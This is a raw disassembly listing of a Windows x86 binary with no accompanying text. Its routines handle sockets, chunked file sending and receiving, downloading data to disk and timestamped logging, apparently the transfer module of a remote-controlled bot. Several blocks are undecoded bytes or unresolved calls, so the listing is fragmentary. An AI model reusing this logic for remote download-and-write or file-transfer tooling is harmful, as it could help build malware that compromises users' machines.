edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0221h, 6AEC4D8Dh dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h, 0B0358B00h dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h dd 53004CB9h, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CBA5415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h dd 0A366286Ah, 4CF194h, 0B9D415FFh, 0D80004Ch, 4CF198h dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h, 0A3004CBAh dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h, 4CF1D01Dh dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h dd 0BF004CF1h, 4CF1D4h, 9A1D8966h, 66004CF1h, 0F1B41D89h dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h, 286A5300h dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 7DE890FFh, 2B0227ABh, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 26A3CFE8h dd 0FDC2E902h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43DB90 mov edi, 0B8h loc_415C54: ; CODE XREF: sub_415C40+33j cmp byte ptr [esi], 0 jz short loc_415C77 push [ebp+arg_0] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_415C77 inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E710 jl short loc_415C54 jmp short loc_415CB9 ; --------------------------------------------------------------------------- loc_415C77: ; CODE XREF: sub_415C40+17j ; sub_415C40+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43DB90[esi] push ebx call sub_41BF70 push 17h push [ebp+arg_0] push ebx call sub_41BFD0 push 9Fh lea eax, dword_43DBA8[esi] push [ebp+arg_4] push eax call sub_41BFD0 add esp, 24h inc dword_4294CC pop ebx loc_415CB9: ; CODE XREF: sub_415C40+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415C40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_437EF0 push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h xor edi, edi mov esi, offset dword_43DB90 loc_415CEA: ; CODE XREF: sub_415CC0+72j cmp byte ptr [esi], 0 jz short loc_415D25 lea eax, [esi+18h] push eax push esi push edi push offset dword_437EDC lea eax, [ebp+var_200] push 200h push eax call sub_41C360 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch loc_415D25: ; CODE XREF: sub_415CC0+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E710 jl short loc_415CEA pop edi pop esi leave retn sub_415CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D38 proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call near ptr 27C0000h nop mov ebx, offset dword_4D35F4 mov edi, 80h mov esi, offset dword_4CF5F4 loc_415D5A: ; CODE XREF: sub_415D38+3Dj cmp byte ptr [ebx], 0 jz short loc_415D71 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BFD0 add esp, 0Ch loc_415D71: ; CODE XREF: sub_415D38+25j sub ebx, edi cmp ebx, esi jge short loc_415D5A movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41C360 add esp, 28h pop edi pop esi pop ebx leave retn sub_415D38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_408967p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41CB70 lea eax, [ebp+var_80] push eax call sub_415D38 add esp, 14h leave retn sub_415DAC endp ; =============== S U B R O U T I N E ======================================= sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CF5F4 xor ecx, ecx loc_415DDF: ; CODE XREF: sub_415DD8+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D35F4 jl short loc_415DDF cmp [esp+arg_C], ecx jnz short loc_415E0D push ecx push [esp+4+arg_8] push offset dword_437F3C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409869 add esp, 14h loc_415E0D: ; CODE XREF: sub_415DD8+19j push offset dword_437F28 call sub_415D38 pop ecx retn sub_415DD8 endp ; =============== S U B R O U T I N E ======================================= sub_415E19 proc near ; CODE XREF: ___:0040E1FFp arg_0 = dword ptr 4 push esi mov esi, offset dword_4CF5F4 loc_415E1F: ; CODE XREF: sub_415E19+27j cmp byte ptr [esi], 0 jz short loc_415E34 push [esp+4+arg_0] push esi call sub_4185D3 pop ecx test eax, eax pop ecx jnz short loc_415E46 loc_415E34: ; CODE XREF: sub_415E19+9j add esi, 80h cmp esi, offset dword_4D35F4 jl short loc_415E1F xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415E46: ; CODE XREF: sub_415E19+19j push 1 pop eax pop esi retn sub_415E19 endp ; --------------------------------------------------------------------------- byte_415E4B db 55h ; DATA XREF: sub_401ACD+2844o ; --------------------------------------------------------------------------- mov ebp, esp sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_415E9E push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_437F6C push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415E9E: ; CODE XREF: ___:00415E7Ej cmp byte ptr [ebp-98h], 0 jz short loc_415EBE lea eax, [ebp-98h] push eax call sub_41C159 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415EBE mov [ebp-8], eax loc_415EBE: ; CODE XREF: ___:00415EA5j ; ___:00415EB9j and dword ptr [ebp+8], 0 mov esi, offset dword_4CF5F4 loc_415EC7: ; CODE XREF: ___:00415F1Fj mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415F21 cmp byte ptr [esi], 0 jz short loc_415F10 cmp byte ptr [ebp-98h], 0 jz short loc_415EF6 cmp dword ptr [ebp-4], 0 jnz short loc_415EF6 lea eax, [ebp-98h] push eax push esi call sub_4185D3 pop ecx test eax, eax pop ecx jz short loc_415F10 loc_415EF6: ; CODE XREF: ___:00415EDBj ; ___:00415EE1j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415F10: ; CODE XREF: ___:00415ED2j ; ___:00415EF4j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D35F4 jl short loc_415EC7 loc_415F21: ; CODE XREF: ___:00415ECDj lea eax, [ebp-31Ch] push offset dword_437F50 push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_415F5B push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415F5B: ; CODE XREF: ___:00415F39j lea eax, [ebp-31Ch] push eax call sub_415D38 push dword ptr [ebp-18h] call sub_40B6D6 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h dd 22CA088h ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F7A proc near ; CODE XREF: ___:0041661Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415FF6 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 cmp eax, esi jnz short loc_415FDB push [ebp+arg_0] call dword_4CBA58 test eax, eax jz short loc_415FF6 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415FDB: ; CODE XREF: sub_415F7A+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB97C cmp eax, esi jnz short loc_415FFA push edi call dword_4CBA6C loc_415FF6: ; CODE XREF: sub_415F7A+1Bj ; sub_415F7A+58j mov eax, esi jmp short loc_415FFC ; --------------------------------------------------------------------------- loc_415FFA: ; CODE XREF: sub_415F7A+73j mov eax, edi loc_415FFC: ; CODE XREF: sub_415F7A+7Ej pop edi pop esi leave retn sub_415F7A endp ; --------------------------------------------------------------------------- dword_416000 dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh ; DATA XREF: sub_401ACD+A02o dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh, 6DE89056h dd 68022C9Fh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h dd 5659FFFFh, 2C9F03E8h, 646A9002h, 9EFAE890h, 0FF330226h dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h, 8D000067h dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h dd 9EA2E890h, 0A6A0226h, 0FF549DE8h, 59C085FFh, 858DA375h dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFFB8FE8h dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 905759FFh dd 2C9E3FE8h db 2 ; --------------------------------------------------------------------------- loc_4161C1: ; DATA XREF: sub_401ACD+7696o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_41620F push offset unk_4380EC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41620F: ; CODE XREF: ___:00416203j push 10h lea eax, [ebp-30h] push esi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CB9D4 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CBA00 test eax, eax jz short loc_41624D push offset unk_4380C8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41624D: ; CODE XREF: ___:00416241j lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CB978 push dword ptr [ebp-2Eh] call dword_4CB904 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41B9C0 pop ecx loc_41627F: ; CODE XREF: ___:004162B0j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_416292 push 5Fh pop eax jmp short loc_416295 ; --------------------------------------------------------------------------- loc_416292: ; CODE XREF: ___:0041628Bj movsx eax, al loc_416295: ; CODE XREF: ___:00416290j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41B9C0 cmp [ebp+8], eax pop ecx jbe short loc_41627F push ebx push edi call dword_4CB9FC test eax, eax jz short loc_4162C8 push offset unk_437FEC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162C8: ; CODE XREF: ___:004162BCj push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 272081Ah cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4162F2 push offset unk_4380A8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162F2: ; CODE XREF: ___:004162E6j push esi push eax nop call near ptr 276095Dh mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AA06 pop ecx push eax call dword_4CBA14 push eax call dword_4CB9D0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_438090 push eax call sub_41C266 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409869 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CB9BC test eax, eax jg short loc_4163A2 push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_438078 push eax push dword ptr [ebp-1FCh] call sub_409869 jmp loc_4164C6 ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: ___:00416380j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CBA68 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_4163DB push offset unk_438054 loc_4163C8: ; CODE XREF: ___:0041620Aj ; ___:00416248j ... lea eax, [ebp-3FCh] push eax call sub_41C266 pop ecx pop ecx jmp loc_4164C9 ; --------------------------------------------------------------------------- loc_4163DB: ; CODE XREF: ___:004163C1j push edi call dword_4CBA6C cmp [ebp+8], esi jz loc_41648D mov edi, 400h loc_4163F0: ; CODE XREF: ___:00416484j mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_4163FD mov [ebp-4], eax loc_4163FD: ; CODE XREF: ___:004163F8j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41BF70 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 27A0000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] call near ptr 2700000h nop push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CBA24 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CB9EC cmp eax, ebx jl loc_416522 mov eax, [ebp-4] cmp eax, ebx jl loc_416522 sub [ebp+8], eax jnz loc_4163F0 mov edi, [ebp-18h] loc_41648D: ; CODE XREF: ___:004163E5j push dword ptr [ebp-8] nop call near ptr 266076Ah push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416CC9 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CBA60 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_438028 push eax call sub_41C266 loc_4164C6: ; CODE XREF: ___:0041639Dj add esp, 14h loc_4164C9: ; CODE XREF: ___:004163D6j cmp [ebp-50h], esi jnz short loc_4164EE push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409869 add esp, 14h loc_4164EE: ; CODE XREF: ___:004164CCj lea eax, [ebp-3FCh] push eax call sub_415D38 cmp edi, esi pop ecx jbe short loc_416506 push edi call dword_4CBA6C loc_416506: ; CODE XREF: ___:004164FDj push dword ptr [ebp-1F8h] call dword_4CBA6C push dword ptr [ebp-58h] call sub_40B6D6 pop ecx push esi nop call near ptr 26E0000h loc_416522: ; CODE XREF: ___:00416470j ; ___:0041647Bj push esi mov esi, offset dword_438010 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409869 push esi call sub_415D38 add esp, 18h push dword ptr [ebp-1F8h] call dword_4CBA6C push dword ptr [ebp-58h] call sub_40B6D6 pop ecx push ebx call near ptr 26E0000h nop loc_416563: ; DATA XREF: sub_401ACD+798o push ebp mov ebp, esp mov eax, 14C4h call sub_41C500 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2670A44h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_429AC8 push eax call sub_41C266 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 272081Ah cmp eax, 0FFFFFFFFh jnz short loc_4165ED push offset unk_43818C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_4165ED: ; CODE XREF: ___:004165E4j push eax nop call near ptr 266076Ah lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41BEA2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_416615 push offset unk_43815C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_416615: ; CODE XREF: ___:0041660Cj push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415F7A pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_416646 push offset unk_43813C loc_416633: ; CODE XREF: ___:004165EBj ; ___:00416613j lea eax, [ebp-4C4h] push eax call sub_41C266 pop ecx pop ecx jmp loc_416742 ; --------------------------------------------------------------------------- loc_416646: ; CODE XREF: ___:0041662Cj mov esi, 1000h loc_41664B: ; CODE XREF: ___:004166B1j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CB9EC mov edi, eax cmp edi, ebx jz loc_416712 cmp edi, 0FFFFFFFFh jz short loc_4166B3 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41DB54 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CB9D0 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CBA24 jmp short loc_41664B ; --------------------------------------------------------------------------- loc_4166B3: ; CODE XREF: ___:0041667Bj lea eax, [ebp-4C4h] push offset dword_438010 push eax call sub_41C266 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409869 lea eax, [ebp-4C4h] push eax call sub_415D38 push dword ptr [ebp-4] call sub_41BA3B add esp, 24h push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-1Ch] call sub_40B6D6 pop ecx push 1 nop call near ptr 26E0000h loc_416712: ; CODE XREF: ___:00416672j mov eax, [ebp-8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_438110 push eax call sub_41C266 add esp, 14h loc_416742: ; CODE XREF: ___:00416641j cmp [ebp-14h], ebx jnz short loc_416767 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409869 add esp, 14h loc_416767: ; CODE XREF: ___:00416745j lea eax, [ebp-4C4h] push eax call sub_415D38 cmp [ebp-4], ebx pop ecx jz short loc_416782 push dword ptr [ebp-4] call sub_41BA3B pop ecx loc_416782: ; CODE XREF: ___:00416777j cmp [ebp+8], ebx jbe short loc_416790 push dword ptr [ebp+8] call dword_4CBA6C loc_416790: ; CODE XREF: ___:00416785j push dword ptr [ebp-1Ch] call sub_40B6D6 pop ecx push ebx nop call near ptr 26E0000h loc_4167A0: ; DATA XREF: sub_401ACD+619Bo ; sub_401ACD+69D9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CB984 call dword_4CB8D8 cmp eax, esi mov [ebp-18h], eax jz loc_416C2C push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call near ptr 272081Ah nop cmp eax, edi mov [ebp-20h], eax jnb short loc_416867 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_438358 push eax call sub_41C266 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_41684A push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_41684A: ; CODE XREF: ___:00416828j lea eax, [ebp-510h] push eax call sub_415D38 push dword ptr [ebp-48h] call sub_40B6D6 pop ecx pop ecx push esi nop call near ptr 26E0000h loc_416867: ; CODE XREF: ___:00416808j xor edi, edi nop call near ptr 2690794h mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41BEB5 pop ecx mov [ebp-1Ch], eax loc_416881: ; CODE XREF: ___:00416954j push 200h lea eax, [ebp-510h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CB8E0 cmp [ebp-34h], esi jz short loc_4168C5 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_416C92 pop ecx pop ecx loc_4168C5: ; CODE XREF: ___:004168B2j lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 2710000h nop cmp edi, ebx jnb short loc_416903 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_4168ED mov eax, [ebp+8] loc_4168ED: ; CODE XREF: ___:004168E8j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41CD20 add esp, 0Ch loc_416903: ; CODE XREF: ___:004168DFj add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416910 cmp edi, [ebp-3Ch] ja short loc_41695A loc_416910: ; CODE XREF: ___:00416909j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_41692A shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_438330 jmp short loc_41693A ; --------------------------------------------------------------------------- loc_41692A: ; CODE XREF: ___:00416916j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_438308 loc_41693A: ; CODE XREF: ___:00416928j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43E710 push eax call sub_41C266 add esp, 10h cmp [ebp+8], esi ja loc_416881 loc_41695A: ; CODE XREF: ___:0041690Ej cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_4169AF cmp edi, [ebp-3Ch] jz short loc_4169AF push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_4382DC push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea 